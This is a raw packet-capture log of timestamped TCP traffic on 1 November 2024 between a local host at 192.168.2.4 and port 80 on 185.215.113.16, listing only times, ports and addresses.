Nov 1, 2024 10:56:13.954602003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954613924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954623938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954632044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954634905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954648018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954651117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954662085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954667091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954673052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954683065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954694033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954704046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954705954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954716921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954719067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954727888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954739094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954745054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954749107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954761982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954766989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954777002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954777956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954787970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954799891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954807997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954809904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954822063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954824924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954833031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954843044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954852104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954854012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954865932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954874039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.954876900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.954911947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955552101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955563068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955573082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955585003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955585003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955595970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955605984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955616951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955616951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955631018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955635071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955642939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955646038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955657005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955667973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955678940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955684900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955688953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955699921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955702066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955713987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955717087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955724955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955738068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955745935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955748081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955760002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955766916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955771923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955784082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955790043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955794096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955805063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955812931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955815077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955826998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.955836058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.955849886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956492901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956504107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956512928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956526041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956536055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956536055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956547022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956549883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956558943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956569910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956581116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956590891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956600904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956607103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956610918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956624985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956629038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956640959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956643105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956651926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956662893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956670046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956679106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956690073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956707954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956710100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956717968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956731081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956741095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956751108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956751108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956763029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956772089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956773043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956784010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956789970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956794977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956805944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956811905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956816912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956828117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956835032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956839085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956849098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956849098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956860065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956871033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956880093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.956882000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.956906080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957597017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957608938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957617998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957632065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957636118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957642078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957650900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957660913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957673073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957675934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957683086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957695961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957701921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957706928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957719088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957726955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957730055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957740068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957751036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957751989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957762003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957772017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957772970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957784891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957791090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957798004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957808971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957814932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957818985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957832098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957838058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957843065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957854033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.957870960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.957885027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.985065937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985173941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985183954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985196114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985207081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985218048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985228062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985259056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.985270977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985280991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.985291004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.985310078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.013755083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.034143925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062211037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062223911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062233925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062268972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062369108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062378883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062388897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062400103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062403917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062412024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062417984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062422991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062439919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062443018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062450886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062462091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062469006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062473059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062485933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062494040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062505007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062515020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062517881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062526941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062536955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062546968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062547922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062560081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062571049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062587976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062707901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062725067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062736034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062747955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062758923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062762022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062769890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062781096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062783957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062792063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062799931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062803984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062825918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062892914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062903881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062912941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.062925100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.062942028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.063033104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063045025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063055992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063066006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063077927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063085079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.063087940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063100100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063103914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.063118935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.063914061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063922882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.063966990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064064980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064074993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064089060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064100027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064106941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064112902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064124107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064125061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064135075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064146042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064156055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064165115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064166069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064177990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064196110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064205885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064217091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064224005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064227104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064239979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064249992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064271927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064413071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064424992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064434052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064445972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064456940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064465046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064466000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064477921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064491987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064495087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064505100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064511061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064516068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.064532995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.064558029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.065644026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065740108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065752029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065762997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065774918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065785885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.065813065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.065901995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065912962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065922976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065933943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065943956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.065943956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065957069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065963984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.065968990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065979004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.065979958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.065990925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066000938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066004038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066013098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066024065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066034079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066034079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066046953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066051006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066067934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066070080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066078901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066088915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066099882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066102028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066112995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066123962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066124916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066132069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066143036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066148043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066154957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066164970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066165924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066175938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066184998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066186905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066207886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066210985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066220999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066231012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066240072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066240072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066251040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066256046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066262007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066272974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066283941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066294909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066312075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066688061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066699982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066709995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066730022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066744089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.066838026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066849947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066859961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.066873074 CET	80	49738	185.215.113.16	192.168.2.4
